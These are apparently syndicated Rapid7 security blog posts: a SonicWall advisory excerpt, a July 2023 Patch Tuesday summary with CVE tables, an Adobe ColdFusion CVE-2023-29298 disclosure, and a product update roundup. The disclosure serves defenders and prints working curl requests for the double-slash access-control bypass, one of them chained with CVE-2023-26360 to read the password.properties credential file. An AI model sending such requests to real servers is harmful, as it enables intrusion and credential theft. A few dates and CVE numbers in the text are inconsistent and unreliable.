Per the company’s advisory, the various vulnerabilities could allow an attacker to view data that they would not normally be able to retrieve, including data belonging to other users or other data that the application itself is able to access. Attackers may be able to modify or delete this data, causing persistent changes to the application’s content or behavior. At least on the surface, the potential for data exposure and theft as a result of these flaws sounds reminiscent of the recent MOVEit Transfer vulnerabilities — we expect these CVEs to be extremely attractive to adversaries, including those looking to extort victims after executing smash-and-grab attacks.

While the vulnerabilities are not known to be exploited in the wild as of July 13, 2023, SonicWall vulnerabilities, including Rapid7-discovered vulnerabilities, have been popular targets for adversaries in the past (including ransomware groups). The urgent nature of SonicWall’s warning reflects that history and should be heeded.

Mitigation guidance

The affected products are:

  • SonicWall GMS 9.3.2-SP1 and before
  • SonicWall Analytics 2.5.0.4-R7 and before

The vulnerabilities are fixed in SonicWall GMS 9.3.3 and SonicWall Analytics 2.5.2. We urge on-prem customers to update immediately, without waiting for a regular patch cycle to occur. See SonicWall’s advisory for full details.

Rapid7 customers

Our engineering team expects to ship remote vulnerability checks for the vulnerabilities affecting SonicWall GMS in today’s (July 13) content release. We are investigating the feasibility of adding checks for SonicWall Analytics.

Patch Tuesday – July 2023

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2023/07/11/patch-tuesday-july-2023/

Patch Tuesday - July 2023

Microsoft is addressing 130 vulnerabilities this July Patch Tuesday, including five zero-day vulnerabilities, and eight further critical remote code execution (RCE) vulnerabilities. Overall, it’s safe to say that this is a busier Patch Tuesday than the past couple of months. Note that the total count of vulnerabilities reported no longer includes any Edge-on-Chromium fixes.

Office zero-day maldoc vuln: no patch, no problem

Surprisingly, there is no patch yet for one of the five zero-day vulnerabilities. Microsoft is actively investigating publicly-disclosed Office RCE CVE-2023-36884, and promises to update the advisory as soon as further guidance is available. Exploitation requires the victim to open a specially crafted malicious document, which would typically be delivered via email.

A Microsoft Security Research Centre (MSRC) blog post links exploitation of this vulnerability with Storm-0978, Microsoft’s designation for a cybercriminal group based out of Russia also tracked across the wider industry under the name RomCom. MSRC suggests that RomCom / Storm-0978 is operating in support of Russian intelligence operations. The same threat actor has also been associated with ransomware attacks targeting a wide array of victims.

Defenders who are understandably unsettled by the lack of immediate patches for CVE-2023-36884 should consult the multiple mitigation options on the advisory. Microsoft claims that assets with Defender for Office 365 are already protected. Further options include an existing optional Defender for Endpoint Attack Surface Reduction (ASR) rule to prevent Office from creating child processes, and a registry modification to disable the vulnerable cross-protocol file navigation. The registry option might be the most straightforward option for organizations without a mature Defender program, but Microsoft does warn that certain use cases relying on the functionality would be impacted if this mitigation is deployed.

There are broad similarities to last year’s Follina vulnerability, which was discussed publicly for over two weeks starting late May 2023 before Microsoft patched it on June 14th as part of Patch Tuesday. While it’s possible that a patch for CVE-2023-36884 will be issued as part of next month’s Patch Tuesday, Microsoft Office is deployed just about everywhere, and this threat actor is making waves; admins should be ready for an out-of-cycle security update for CVE-2023-26884.

The menu of mitigation options here should offer something for every Microsoft shop, but it will come as something of a relief that Microsoft is offering patches for the four other zero-day vulnerabilities mentioned in this month’s Security Update Guide.

MSHTML, Windows Error Reporting: zero-day elevation of privilege vulns

CVE-2023-32046 describes a vulnerability in the MSHTML browser rendering engine which would allow an attacker to act with the same rights as the exploited user account. Successful exploitation requires the victim to open a specially-crafted malicious file, typically delivered either via email or a web page. Assets where Internet Explorer 11 has been fully disabled are still vulnerable until patched; the MSHTML engine remains installed within Windows regardless of the status of IE11, since it is used in other contexts (e.g. Outlook).

A separate vulnerability in the Windows Error Reporting Service allows elevation to the Administrator role via abuse of Windows performance tracing. To exploit CVE-2023-36874, an attacker must already have existing local access to an asset, so this vulnerability will most likely make up part of a longer exploit chain.

SmartScreen & Outlook: zero-day security feature bypass vulns

Rounding out this month’s zero-day vulnerabilities are two security feature bypass flaws. CVE-2023-32049 allows an attacker to formulate a URL which will bypass the Windows SmartScreen “Do you want to open this file?” dialog. Previous SmartScreen bypasses have been exploited extensively, not least for no-notice delivery of ransomware.

Broadly similar is CVE-2023-35311, which describes a bypass of the Microsoft Outlook Security Notice dialog via a specially-crafted URL.

Windows RRAS: critical RCEs

Eight further critical RCE vulnerabilities are also patched, including three related vulnerabilities in the Windows Routing and Remote Access Service (RRAS) with CVSS v3 base score of 9.8 (CVE-2023-35365, CVE-2023-35366, and CVE-2023-35367). In each case, an attacker can send specially-crafted packets to vulnerable assets to achieve RCE. Happily, RRAS is not installed or configured by default, but admins with RRAS-enabled Windows Server installations will undoubtedly want to prioritize remediation.

SharePoint: critical RCEs

Anyone responsible for on-prem SharePoint should patch to avoid a variety of potential impacts from exploitation of CVE-2023-33157 and CVE-2023-33160, including information disclosure and editing, as well as reduced availability of the targeted environment. While both of these vulnerabilities require that an attacker already be authenticated as a user with at least Site Member privileges, this isn’t necessarily much of a defense, since this is the lowest standard permission group with the least privileges other than the read-only Site Visitor role, and will typically be widely granted. Microsoft assesses exploitation as more likely for both of these.

Windows core components: critical RCEs

The remainder of this month’s critical RCE patches target flaws in the Windows Layer-2 Bridge Network Driver (CVE-2023-35315), and usual suspects Windows Message Queuing (CVE-2023-32057) and Windows PGM (CVE-2023-35297).

Windows Remote Desktop: security feature bypass

CVE-2023-35352 will be of interest to anyone running an RDP server. Although the advisory is short on detail, an attacker could bypass certificate or private key authentication when establishing a remote desktop protocol session. Although the CVSS v3 base score of 7.5 falls short of the critical band, this is only because Microsoft has scored this vulnerability as having no impact on either confidentiality or availability, probably because the scoring is against the RDP service itself rather than whatever may be accessed downstream; this seems like a case where CVSS cannot fully capture the potential risk, and Microsoft’s Security Update Severity Rating System does rank this vulnerability as critical.

Summary Charts

Patch Tuesday - July 2023
Windows RPC is back!
Patch Tuesday - July 2023
Many of those Remote Code Execution vulnerabilities require user interaction.
Patch Tuesday - July 2023
An unremarkable distribution of CVSSv3 base scores.

Patch Tuesday - July 2023
This heatmap shows distribution of vulnerabilities, rather than risk.

Summary Tables

Apps vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-32047 Paint 3D Remote Code Execution Vulnerability No No 7.8
CVE-2023-35374 Paint 3D Remote Code Execution Vulnerability No No 7.8

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-36868 Azure Service Fabric on Windows Information Disclosure Vulnerability No No 6.5

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-35333 MediaWiki PandocUpload Extension Remote Code Execution Vulnerability No No 8.8
CVE-2023-33170 ASP.NET and Visual Studio Security Feature Bypass Vulnerability No No 8.1
CVE-2023-33127 .NET and Visual Studio Elevation of Privilege Vulnerability No No 8.1
CVE-2023-36867 Visual Studio Code GitHub Pull Requests and Issues Extension Remote Code Execution Vulnerability No No 7.8
CVE-2023-35373 Mono Authenticode Validation Spoofing Vulnerability No No 5.3

ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-32050 Windows Installer Elevation of Privilege Vulnerability No No 7

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-33171 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability No No 8.2
CVE-2023-35335 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability No No 8.2
CVE-2023-32052 Microsoft Power Apps (online) Spoofing Vulnerability No No 5.4

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-33150 Microsoft Office Security Feature Bypass Vulnerability No No 9.6
CVE-2023-33159 Microsoft SharePoint Server Spoofing Vulnerability No No 8.8
CVE-2023-33160 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-33134 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-33157 Microsoft SharePoint Remote Code Execution Vulnerability No No 8.8
CVE-2023-35311 Microsoft Outlook Security Feature Bypass Vulnerability Yes No 8.8
CVE-2023-33149 Microsoft Office Graphics Remote Code Execution Vulnerability No No 7.8
CVE-2023-33148 Microsoft Office Elevation of Privilege Vulnerability No No 7.8
CVE-2023-33158 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-33161 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-33152 Microsoft ActiveX Remote Code Execution Vulnerability No No 7
CVE-2023-33153 Microsoft Outlook Remote Code Execution Vulnerability No No 6.8
CVE-2023-33151 Microsoft Outlook Spoofing Vulnerability No No 6.5
CVE-2023-33162 Microsoft Excel Information Disclosure Vulnerability No No 5.5
CVE-2023-33165 Microsoft SharePoint Server Security Feature Bypass Vulnerability No No 4.3

Microsoft Office Windows ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-36884 Office and Windows HTML Remote Code Execution Vulnerability Yes Yes 8.3

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-33156 Microsoft Defender Elevation of Privilege Vulnerability No No 6.3

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-32049 Windows SmartScreen Security Feature Bypass Vulnerability Yes No 8.8
CVE-2023-35315 Windows Layer-2 Bridge Network Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-35364 Windows Kernel Elevation of Privilege Vulnerability No No 8.8
CVE-2023-35302 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-29347 Windows Admin Center Spoofing Vulnerability No No 8.7
CVE-2023-21756 Windows Win32k Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35317 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability No No 7.8
CVE-2023-32056 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35313 Windows Online Certificate Status Protocol (OCSP) SnapIn Remote Code Execution Vulnerability No No 7.8
CVE-2023-35323 Windows OLE Remote Code Execution Vulnerability No No 7.8
CVE-2023-35356 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35357 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35358 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35363 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35304 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35305 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35343 Windows Geolocation Service Remote Code Execution Vulnerability No No 7.8
CVE-2023-33155 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35362 Windows Clip Service Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35337 Win32k Elevation of Privilege Vulnerability No No 7.8
CVE-2023-32051 Raw Image Extension Remote Code Execution Vulnerability No No 7.8
CVE-2023-35320 Connected User Experiences and Telemetry Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35353 Connected User Experiences and Telemetry Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35352 Windows Remote Desktop Security Feature Bypass Vulnerability No No 7.5
CVE-2023-35325 Windows Print Spooler Information Disclosure Vulnerability No No 7.5
CVE-2023-35339 Windows CryptoAPI Denial of Service Vulnerability No No 7.5
CVE-2023-32084 HTTP.sys Denial of Service Vulnerability No No 7.5
CVE-2023-35298 HTTP.sys Denial of Service Vulnerability No No 7.5
CVE-2023-35348 Active Directory Federation Service Security Feature Bypass Vulnerability No No 7.5
CVE-2023-35347 Microsoft Install Service Elevation of Privilege Vulnerability No No 7.1
CVE-2023-35360 Windows Kernel Elevation of Privilege Vulnerability No No 7
CVE-2023-35361 Windows Kernel Elevation of Privilege Vulnerability No No 7
CVE-2023-35336 Windows MSHTML Platform Security Feature Bypass Vulnerability No No 6.5
CVE-2023-35308 Windows MSHTML Platform Security Feature Bypass Vulnerability No No 6.5
CVE-2023-35331 Windows Local Security Authority (LSA) Denial of Service Vulnerability No No 6.5
CVE-2023-32037 Windows Layer-2 Bridge Network Driver Information Disclosure Vulnerability No No 6.5
CVE-2023-35329 Windows Authentication Denial of Service Vulnerability No No 6.5
CVE-2023-35296 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 6.5
CVE-2023-32083 Microsoft Failover Cluster Information Disclosure Vulnerability No No 6.5
CVE-2023-36871 Azure Active Directory Security Feature Bypass Vulnerability No No 6.5
CVE-2023-32041 Windows Update Orchestrator Service Information Disclosure Vulnerability No No 5.5
CVE-2023-35326 Windows CDP User Components Information Disclosure Vulnerability No No 5.5
CVE-2023-36872 VP9 Video Extensions Information Disclosure Vulnerability No No 5.5
CVE-2023-32039 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 5.5
CVE-2023-32040 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 5.5
CVE-2023-35324 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 5.5
CVE-2023-32085 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 5.5
CVE-2023-35306 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 5.5

Windows ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-35365 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 9.8
CVE-2023-35366 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 9.8
CVE-2023-35367 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 9.8
CVE-2023-32057 Microsoft Message Queuing Remote Code Execution Vulnerability No No 9.8
CVE-2023-35322 Windows Deployment Services Remote Code Execution Vulnerability No No 8.8
CVE-2023-35303 USB Audio Class System Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-35300 Remote Procedure Call Runtime Remote Code Execution Vulnerability No No 8.8
CVE-2023-32038 Microsoft ODBC Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-35328 Windows Transaction Manager Elevation of Privilege Vulnerability No No 7.8
CVE-2023-33154 Windows Partition Management Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2023-32046 Windows MSHTML Platform Elevation of Privilege Vulnerability Yes No 7.8
CVE-2023-32053 Windows Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35342 Windows Image Acquisition Elevation of Privilege Vulnerability No No 7.8
CVE-2023-36874 Windows Error Reporting Service Elevation of Privilege Vulnerability Yes No 7.8
CVE-2023-35299 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35340 Windows CNG Key Isolation Service Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35312 Microsoft VOLSNAP.SYS Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35297 Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability No No 7.5
CVE-2023-35338 Windows Peer Name Resolution Protocol Denial of Service Vulnerability No No 7.5
CVE-2023-33163 Windows Network Load Balancing Remote Code Execution Vulnerability No No 7.5
CVE-2023-35330 Windows Extended Negotiation Denial of Service Vulnerability No No 7.5
CVE-2023-35309 Microsoft Message Queuing Remote Code Execution Vulnerability No No 7.5
CVE-2023-32044 Microsoft Message Queuing Denial of Service Vulnerability No No 7.5
CVE-2023-32045 Microsoft Message Queuing Denial of Service Vulnerability No No 7.5
CVE-2023-21526 Windows Netlogon Information Disclosure Vulnerability No No 7.4
CVE-2023-32054 Volume Shadow Copy Elevation of Privilege Vulnerability No No 7.3
CVE-2023-35350 Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability No No 7.2
CVE-2023-32043 Windows Remote Desktop Security Feature Bypass Vulnerability No No 6.8
CVE-2023-35332 Windows Remote Desktop Protocol Security Feature Bypass No No 6.8
CVE-2023-32055 Active Template Library Elevation of Privilege Vulnerability No No 6.7
CVE-2023-35344 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-35345 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-35346 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-35310 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-35351 Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability No No 6.6
CVE-2023-32033 Microsoft Failover Cluster Remote Code Execution Vulnerability No No 6.6
CVE-2023-35321 Windows Deployment Services Denial of Service Vulnerability No No 6.5
CVE-2023-35316 Remote Procedure Call Runtime Information Disclosure Vulnerability No No 6.5
CVE-2023-33166 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-33167 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-33168 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-33169 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-33172 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-33173 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-32034 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-32035 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-35314 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-35318 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-35319 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-33164 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-32042 OLE Automation Information Disclosure Vulnerability No No 6.5
CVE-2023-35341 Microsoft DirectMusic Information Disclosure Vulnerability No No 6.2
CVE-2023-33174 Windows Cryptographic Information Disclosure Vulnerability No No 5.5

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Rapid7 discovered an access control bypass vulnerability affecting Adobe ColdFusion, in a product feature designed to restrict external access to the ColdFusion Administrator. Rapid7 reported this vulnerability to Adobe on April 11, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy.

The access control feature establishes an allow list of external IP addresses that are permitted to access the ColdFusion Administrator endpoints on a ColdFusion web server. When a request originates from an external IP address that is not present in the allow list, access to the requested resource is blocked. This access control forms part of the recommended configuration for production environments, as described during installation of the product:

“Production Profile + Secure Profile: Use this profile for a highly-secure production deployment that will allow a more fine-grained secure environment. For details, see the secure profile guide http://www.adobe.com/go/cf_secureprofile.”

Alternatively, an installation that is not configured with the Secure Profile may manually configure the access control post installation.
The vulnerability allows an attacker to access the administration endpoints by inserting an unexpected additional forward slash character in the requested URL.

Product description

Adobe ColdFusion is a commercial application server for web application development. ColdFusion supports a proprietary markup language for building web applications and integrating into many external components, such as databases and third party libraries.
This issue affects the following versions of Adobe ColdFusion:

  • Adobe ColdFusion 2023.
  • Adobe ColdFusion 2021 Update 6 and below.
  • Adobe ColdFusion 2018 Update 16 and below.

Impact

This vulnerability undermines the security guarantees offered by the ColdFusion Secure Profile. Using the access control bypass as described above, an attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install. Note that access to these resources does not imply the attacker is authorized to use these resources, many of which will check for an authorized session before performing their operation. However the impact of being able to access these resources is as follows:

  • The attacker may log in to the ColdFusion Administrator if they have known credentials.
  • The attacker may bruteforce credentials.
  • The attacker may leak sensitive information.
    The attacker has increased the attack surface considerably and should a vulnerability be present in one of the many exposed CFM and CFC files, the attacker is able to target the vulnerable endpoint.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-29298 has been addressed in Adobe’s APSB23-40 Security Bulletin – CF2018 Update 17, CF2021 Update 7, and CF2023 GA build. Adobe greatly appreciates collaboration with the broader security community and our ongoing work with Rapid7. For more information, please see: https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

Analysis

The access control restricts access for external request to resources that are found within the following URL paths:

/CFIDE/restplay
/CFIDE/administrator
/CFIDE/adminapi
/CFIDE/main
/CFIDE/componentutils
/CFIDE/wizards
/CFIDE/servermanager```
Several Java servlets enforce the access control on their exposed resources:
- The `coldfusion.CfmServlet` which handles all requests to ColdFusion Module (CFM) endpoints.
- The `coldfusion.xml.rpc.CFCServlet` which handles requests to ColdFusion Markup Language (CFML) and ColdFusion Component (CFC) endpoints.
- The `coldfusion.rds.RdsGlobals` which handles requests for the Remote Development Service (RDS) feature.
The access control feature is implemented in the `coldfusion.filter.IPFilterUtils` class, and the method `checkAdminAccess` implements the logic for the access control, as shown below:
```public class IPFilterUtils {
private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" };
public static void checkAdminAccess(HttpServletRequest req) {
String uri = req.getRequestURI();
String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase();
for (String path : PATHS) {
if (uriToMatch.startsWith(path)) {
String ip = req.getRemoteAddr();
if (!isAllowedIP(ip))
throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
break;
}
}
}```
We can observe from the highlighted statement above that an HTTP request’s URL path is compared to a list of sensitive paths, and if found to begin with any of these sensitive paths, a further check is performed to see if the request’s external IP address is present in the allow list. If the request to a sensitive path is not from an allowed external IP address, an exception is raised which results in the request being denied.
As the attacker-controlled URL path is tested with a call to `java.lang.String.startsWith`, this access check can be bypassed by inserting an additional character at the start of the URL path, which will cause the `startsWith` check to fail but will still allow the underlying servlet to be able to resolve the requested resource. The character in question is an additional forward slash. For example, when requesting a resource that starts with the sensitive `/CFIDE/adminapi` path, the attacker can request this resource from the path `//CFIDE/adminapi`, which will bypass the access control while still being a valid path to the requested resource.
## Exploitation
The following was tested on Adobe ColdFusion 2021 Update 6 (2021.0.06.330132) running on Windows Server 2022 and configured with the Production and Secure profiles enabled and access to the ColdFusion Administrator limited to the localhost address 127.0.0.1.
We can demonstrate the vulnerability using the cURL command. For example when attempting to perform a remote method call wizardHash on the `/CFIDE/wizards/common/utils.cfc` endpoint, the following cURL command can be used:
*Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows. On Linux you must escape the ampersand with a forward slash (\).*

c:> curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

We can see in the screenshot below how this request fails due to the access control being in place:

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we issue the following cURL command, noting the double forward slash in the path:

c:\> curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

We can see that the access control has been bypassed and the request completed successfully.

Similarly, if we try to access the ColdFusion Administrator interface in a web browser from an external IP that is not allowed access, the following error is displayed.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we use an extra forward slash in the URL, we can now access the ColdFusion Administrator interface.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Chaining CVE-2023-29298 to CVE-2023-26360

The access control bypass in CVE-2023-29298 can also be leveraged to assist in the exploitation of an existing ColdFusion vulnerability. One example of this is CVE-2023-26360, which allows for both arbitrary file reading as well as remote code execution. In order to exploit CVE-2023-26360 to read an arbitrary file, an attacker must request a valid CFC endpoint on the target. As we have seen, there are multiple such endpoints available in the ColdFusion Administrator. Exploiting CVE-2023-26360 to read a file password.properties can be achieved with the following cURL command:

c:> curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

However, if the access control is configured to block external requests to the ColdFusion Administrator, the request will fail.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Therefore we can chain CVE-2023-29298 to CVE-2023-26360 and bypass the access control in order to reach a CFC endpoint and trigger the vulnerability via the following:

c:> curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

As we can see, we have now successfully exploited CVE-2023-26360 as a result of our ability to use CVE-2023-29298 as a primitive — and we can therefore read the contents of the password.properties file.

Remediation

Adobe released a fix for this vulnerability on July 11, 2023. According to Adobe, the following versions remediate the issue:

  • ColdFusion 2023 GA build
  • ColdFusion 2021 Update 7
  • ColdFusion 2018 Update 17

For more details please read the Adobe security advisory.

Note: Rapid7 reported an incomplete fix for this issue to Adobe on June 30, 2023 after testing the vendor-provided patch. We have not independently tested the latest fix.

Timeline

  • April 11, 2023: Rapid7 makes initial contact with Adobe Product Security Incident Response Team (PSIRT).
  • April 12, 2023: Rapid7 discloses the vulnerability details to Adobe PSIRT. Adobe confirms receipt and assigns internal tracking number VULN-24594.
  • April 20, 2023: Adobe requests additional details regarding the network setup used during testing. Rapid7 provides the requested details and Adobe confirms receipt of the details.
  • April 25, 2023: Rapid7 requests a status update. Adobe confirms they have reproduced the issue. Rapid7 requests a CVE identifier from Adobe.
  • May 2 – May 24, 2023: Rapid7 and Adobe discuss a coordinated disclosure date and agree to publish advisories on July 11, 2023. Adobe assigns CVE-2023-29298.
  • June 13 – June 30, 2023: Further coordination with Adobe; Adobe provides Rapid7 with the patch for the issue.
  • June 30, 2023: Rapid7 informs Adobe that the patch they’ve implemented is incomplete and can be bypassed.
  • July 6 – 7, 2023: Adobe tells Rapid7 they have implemented an improved fix and are confident that it mitigates the issue. Rapid7 is not able to allocate researchers to test the new fix in time for disclosure. Rapid7 and Adobe agree to move forward with disclosure on July 11 given Adobe’s confidence in their fix.
  • July 11, 2023: This disclosure.

What’s New in InsightVM and Nexpose: Q2 2023 in Review

Post Syndicated from Roshnee Mistry Shah original https://blog.rapid7.com/2023/06/29/whats-new-in-insightvm-and-nexpose-q2-2023-in-review/

What’s New in InsightVM and Nexpose: Q2 2023 in Review

The past few weeks have been extraordinary for the global threat landscape with zero-day vulnerabilities like MOVEit (CVE-2023-34362) and Barracuda’s Email Security Gateway (ESG) (CVE-2023-2868). Rapid7’s security research team was one of the first to detect exploitation of Progress Software’s MOVEit Transfer solution—four days before the vendor issued public advisory. From there, the team moved quickly to provide prompt remediation guidance to InsightVM and Nexpose customers.

With continued focus to drive better customer outcomes, this quarter is filled with product upgrades like improved UI for the Console, custom policy for Agent-Based assessment, an updated dashboard card, and more. Let’s take a look at some of the key updates in InsightVM and Nexpose from Q2.

[InsightVM] Agent-Based Policy supports custom policy assessment

Guidelines from Center for Internet Security (CIS) and Security Technical Implementation Guides (STIG) are widely used industry benchmarks for configuration assessment. However, a benchmark or guideline alone may not meet the unique needs of every business.

So, Agent-Based Policy assessment now supports Custom Policies. Global Administrators can now customize built-in policies, upload policies, or enable a copy of existing custom policies for agent-based assessments. Learn more here.

What’s New in InsightVM and Nexpose: Q2 2023 in Review

[InsightVM] Top Riskiest Asset Locations dashboard card provides even more details

The Top Riskiest Asset Locations dashboard card previously showed site location and risk score. This card was enhanced, on customer request, to also include total assets and total vulnerabilities in the card preview. This provides customers additional context around why a location has a large risk score and helps alert users to sites requiring additional attention.

What’s New in InsightVM and Nexpose: Q2 2023 in Review

[InsightVM and Nexpose] A new look for the Users section of the Console Administration

This quarter, we also continued updating the user interface (UI) of the Console Administration to facilitate a more intuitive and consistent user experience across the Console and the Insight Platform, including InsightVM.

The latest section to be updated is the Users section of the Console Administration. The update improves accessibility and the overall user experience of the Users page. We also made some cool new additions like light mode, a wizard to make adding new users under “Add Users” section more intuitive, and the ability to Manage columns displayed on the Users overview section.

What’s New in InsightVM and Nexpose: Q2 2023 in Review

[InsightVM and Nexpose] Support for Ubuntu 22.04 LTS

Security Console and Scan Engine now support Ubuntu 22.04 Operating System. Ubuntu is one of the most popular Linux distributions. Version 22.04 of Ubuntu will receive long term support from the vendor for hardware and maintenance updates as well as extended security maintenance. Customers on the previous versions of Ubuntu can now upgrade to 22.04!

[InsightVM and Nexpose] Containerized scan engine – continuous release

Containerized Scan Engine delivers the Scan Engine as a packaged or portable application that can easily be deployed to modern infrastructure. Now a new Containerized Engine image is automatically created and posted to Docker Hub with every InsightVM Product or Content update. This ensures you’re continuously working with the latest release. Prior versions are also available, denoted by tag. Learn more about containerized scan engines.

[InsightVM and Insight Platform] New retention setting for tracking Insight Agents

You can now configure the retention period that determines how long Insight Agents are tracked in your Agents table. In addition to the default 30 day period, this new setting allows you to set retention periods of 7 and 15 days. See our updated Agent management settings documentation for configuration instructions and more details.

[InsightVM and Nexpose] Checks for notable vulnerabilities

We have been committed to providing swift coverage for the emergent threats Rapid7 responds to under our Emergent Threat Response (ETR) program. Since Q4 2022, we provided coverage the same day or within 24 hours for over 20 emergent threats, which includes zero-day vulnerabilities.

Rapid7’s Emergent Threat Response (ETR) program flagged multiple CVEs this quarter. InsightVM and Nexpose customers can assess their exposure to many of these CVEs with vulnerability checks, including:

